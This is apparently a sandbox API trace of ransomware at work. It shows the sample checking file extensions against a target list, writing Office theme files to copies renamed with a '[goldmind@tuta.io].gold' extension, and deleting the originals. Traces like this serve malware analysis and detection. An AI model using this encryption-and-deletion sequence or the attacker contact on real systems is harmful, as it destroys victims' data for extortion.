(lpString=".pdf") returned 4 [0096.417] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.417] lstrlenW (lpString=".xls") returned 4 [0096.417] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.417] lstrlenW (lpString=".xlsx") returned 5 [0096.417] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.417] lstrlenW (lpString=".ppt") returned 4 [0096.418] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0096.418] lstrlenW (lpString=".zip") returned 4 [0096.418] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.418] lstrlenW (lpString=".rar") returned 4 [0096.418] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.418] lstrlenW (lpString=".bz2") returned 4 [0096.418] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.418] lstrlenW (lpString=".7z") returned 3 [0096.418] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0096.418] lstrlenW (lpString=".dbf") returned 4 [0096.418] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0096.418] lstrlenW (lpString=".1cd") returned 4 [0096.418] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0096.418] lstrlenW (lpString=".jpg") returned 4 [0096.418] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0096.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0096.418] lstrlenW (lpString=".doc") returned 4 [0096.418] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.418] lstrlenW (lpString=".docx") returned 5 [0096.418] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.418] lstrlenW (lpString=".pdf") returned 4 [0096.418] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.418] lstrlenW (lpString=".xls") returned 4 [0096.418] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.418] lstrlenW (lpString=".xlsx") returned 5 [0096.418] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.418] lstrlenW (lpString=".ppt") returned 4 [0096.418] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0096.418] lstrlenW (lpString=".zip") returned 4 [0096.418] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.418] lstrlenW (lpString=".rar") returned 4 [0096.418] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.418] lstrlenW (lpString=".bz2") returned 4 [0096.418] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.418] lstrlenW (lpString=".7z") returned 3 [0096.418] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0096.419] lstrlenW (lpString=".dbf") returned 4 [0096.419] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0096.419] lstrlenW (lpString=".1cd") returned 4 [0096.419] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0096.419] lstrlenW (lpString=".jpg") returned 4 [0096.419] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.419] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0096.419] lstrlenW (lpString="Opulent.eftx") returned 12 [0096.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0096.421] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=32857) returned 1 [0096.421] CloseHandle (hObject=0x3a0) returned 1 [0096.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx")) returned 0x20 [0096.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0096.422] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.422] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0096.422] GetLastError () returned 0x0 [0096.422] ReadFile (in: hFile=0x3a0, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x8059, lpOverlapped=0x0) returned 1 [0096.424] WriteFile (in: hFile=0x19c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x8060, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x8060, lpOverlapped=0x0) returned 1 [0096.425] ReadFile (in: hFile=0x3a0, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.425] WriteFile (in: hFile=0x19c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.425] SetEndOfFile (hFile=0x19c) returned 1 [0096.425] CloseHandle (hObject=0x19c) returned 1 [0096.425] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.426] SetEndOfFile (hFile=0x3a0) returned 1 [0096.428] CloseHandle (hObject=0x3a0) returned 1 [0096.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.431] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx")) returned 1 [0096.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0096.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0096.431] lstrlenW (lpString=".doc") returned 4 [0096.431] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.431] lstrlenW (lpString=".docx") returned 5 [0096.431] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.431] lstrlenW (lpString=".pdf") returned 4 [0096.431] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.431] lstrlenW (lpString=".xls") returned 4 [0096.432] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.432] lstrlenW (lpString=".xlsx") returned 5 [0096.432] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.432] lstrlenW (lpString=".ppt") returned 4 [0096.432] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0096.432] lstrlenW (lpString=".zip") returned 4 [0096.432] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.432] lstrlenW (lpString=".rar") returned 4 [0096.432] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.432] lstrlenW (lpString=".bz2") returned 4 [0096.432] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.432] lstrlenW (lpString=".7z") returned 3 [0096.432] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0096.432] lstrlenW (lpString=".dbf") returned 4 [0096.432] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0096.432] lstrlenW (lpString=".1cd") returned 4 [0096.432] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0096.432] lstrlenW (lpString=".jpg") returned 4 [0096.432] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0096.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0096.432] lstrlenW (lpString=".doc") returned 4 [0096.432] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.432] lstrlenW (lpString=".docx") returned 5 [0096.432] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.432] lstrlenW (lpString=".pdf") returned 4 [0096.432] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.432] lstrlenW (lpString=".xls") returned 4 [0096.432] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.432] lstrlenW (lpString=".xlsx") returned 5 [0096.432] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.432] lstrlenW (lpString=".ppt") returned 4 [0096.432] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0096.432] lstrlenW (lpString=".zip") returned 4 [0096.432] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.432] lstrlenW (lpString=".rar") returned 4 [0096.432] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.432] lstrlenW (lpString=".bz2") returned 4 [0096.432] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.432] lstrlenW (lpString=".7z") returned 3 [0096.433] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0096.433] lstrlenW (lpString=".dbf") returned 4 [0096.433] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0096.433] lstrlenW (lpString=".1cd") returned 4 [0096.433] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0096.433] lstrlenW (lpString=".jpg") returned 4 [0096.433] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.433] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0096.433] lstrlenW (lpString="Oriel.eftx") returned 10 [0096.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0096.434] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=43193) returned 1 [0096.434] CloseHandle (hObject=0x3a0) returned 1 [0096.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx")) returned 0x20 [0096.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0096.434] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.434] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0096.435] GetLastError () returned 0x0 [0096.435] ReadFile (in: hFile=0x3a0, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0xa8b9, lpOverlapped=0x0) returned 1 [0096.437] WriteFile (in: hFile=0x19c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xa8c0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xa8c0, lpOverlapped=0x0) returned 1 [0096.438] ReadFile (in: hFile=0x3a0, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.438] WriteFile (in: hFile=0x19c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0096.438] SetEndOfFile (hFile=0x19c) returned 1 [0096.438] CloseHandle (hObject=0x19c) returned 1 [0096.438] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.438] SetEndOfFile (hFile=0x3a0) returned 1 [0096.440] CloseHandle (hObject=0x3a0) returned 1 [0096.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.441] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx")) returned 1 [0096.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0096.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0096.441] lstrlenW (lpString=".doc") returned 4 [0096.441] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.441] lstrlenW (lpString=".docx") returned 5 [0096.441] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.441] lstrlenW (lpString=".pdf") returned 4 [0096.441] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.441] lstrlenW (lpString=".xls") returned 4 [0096.441] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.441] lstrlenW (lpString=".xlsx") returned 5 [0096.441] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.441] lstrlenW (lpString=".ppt") returned 4 [0096.441] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0096.441] lstrlenW (lpString=".zip") returned 4 [0096.441] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.441] lstrlenW (lpString=".rar") returned 4 [0096.441] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.441] lstrlenW (lpString=".bz2") returned 4 [0096.441] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.442] lstrlenW (lpString=".7z") returned 3 [0096.442] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0096.442] lstrlenW (lpString=".dbf") returned 4 [0096.442] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0096.442] lstrlenW (lpString=".1cd") returned 4 [0096.442] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0096.442] lstrlenW (lpString=".jpg") returned 4 [0096.442] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0096.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0096.442] lstrlenW (lpString=".doc") returned 4 [0096.442] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.442] lstrlenW (lpString=".docx") returned 5 [0096.442] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.442] lstrlenW (lpString=".pdf") returned 4 [0096.442] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.442] lstrlenW (lpString=".xls") returned 4 [0096.442] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.442] lstrlenW (lpString=".xlsx") returned 5 [0096.442] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.442] lstrlenW (lpString=".ppt") returned 4 [0096.442] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0096.442] lstrlenW (lpString=".zip") returned 4 [0096.442] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.442] lstrlenW (lpString=".rar") returned 4 [0096.442] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.442] lstrlenW (lpString=".bz2") returned 4 [0096.442] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.442] lstrlenW (lpString=".7z") returned 3 [0096.442] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0096.442] lstrlenW (lpString=".dbf") returned 4 [0096.442] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0096.442] lstrlenW (lpString=".1cd") returned 4 [0096.442] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0096.442] lstrlenW (lpString=".jpg") returned 4 [0096.442] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.443] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0096.443] lstrlenW (lpString="Origin.eftx") returned 11 [0096.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0096.443] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=40941) returned 1 [0096.444] CloseHandle (hObject=0x3a0) returned 1 [0096.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx")) returned 0x20 [0096.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0096.444] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.444] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0096.444] GetLastError () returned 0x0 [0096.445] ReadFile (in: hFile=0x3a0, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x9fed, lpOverlapped=0x0) returned 1 [0096.787] WriteFile (in: hFile=0x19c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x9ff0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x9ff0, lpOverlapped=0x0) returned 1 [0096.788] ReadFile (in: hFile=0x3a0, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.788] WriteFile (in: hFile=0x19c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0096.788] SetEndOfFile (hFile=0x19c) returned 1 [0096.788] CloseHandle (hObject=0x19c) returned 1 [0096.788] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.788] SetEndOfFile (hFile=0x3a0) returned 1 [0096.790] CloseHandle (hObject=0x3a0) returned 1 [0096.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx")) returned 1 [0096.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0096.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0096.791] lstrlenW (lpString=".doc") returned 4 [0096.791] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.791] lstrlenW (lpString=".docx") returned 5 [0096.791] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.791] lstrlenW (lpString=".pdf") returned 4 [0096.791] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.791] lstrlenW (lpString=".xls") returned 4 [0096.791] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.791] lstrlenW (lpString=".xlsx") returned 5 [0096.791] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.792] lstrlenW (lpString=".ppt") returned 4 [0096.792] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0096.792] lstrlenW (lpString=".zip") returned 4 [0096.792] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.792] lstrlenW (lpString=".rar") returned 4 [0096.792] 